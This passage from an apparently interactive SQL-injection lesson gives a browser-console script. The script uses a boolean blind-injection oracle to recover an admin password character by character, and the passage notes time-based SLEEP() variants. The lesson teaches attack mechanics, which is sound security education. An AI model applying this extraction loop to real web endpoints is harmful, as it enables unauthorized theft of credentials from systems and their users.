Extract data without seeing it

Manual extraction is tedious. In real engagements, attackers automate this with scripts like sqlmap. You can run a tiny version right now in your browser console (open DevTools, paste this):

// Recover admin password through the boolean oracle
async function extractPassword() {
    let password = '';
    const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*_-';

    // Find length first
    let length = 0;
    for (let i = 1; i <= 50; i++) {
        const q = `SELECT id FROM users WHERE id = 1 AND (SELECT length(password) FROM users WHERE username='admin')=${i}`;
        if (runQuery(q).length > 0) { length = i; break; }
    }
    console.log('Password length:', length);

    // Recover each character
    for (let pos = 1; pos <= length; pos++) {
        for (const ch of charset) {
            const q = `SELECT id FROM users WHERE id = 1 AND (SELECT substr(password,${pos},1) FROM users WHERE username='admin')='${ch}'`;
            if (runQuery(q).length > 0) {
                password += ch;
                console.log(`[${pos}]`, password);
                break;
            }
        }
    }
    console.log('Recovered:', password);
}
extractPassword();

In a real attack the script wouldn't have direct DB access — it would hit the HTTP endpoint and parse the response to determine true/false. But the principle is identical: a binary oracle + a script + patience = exfiltration.

Time-based variants — when even the boolean isn't visible (e.g., the page returns identical content either way), attackers use SLEEP() or expensive subqueries to make true conditions take measurably longer than false ones.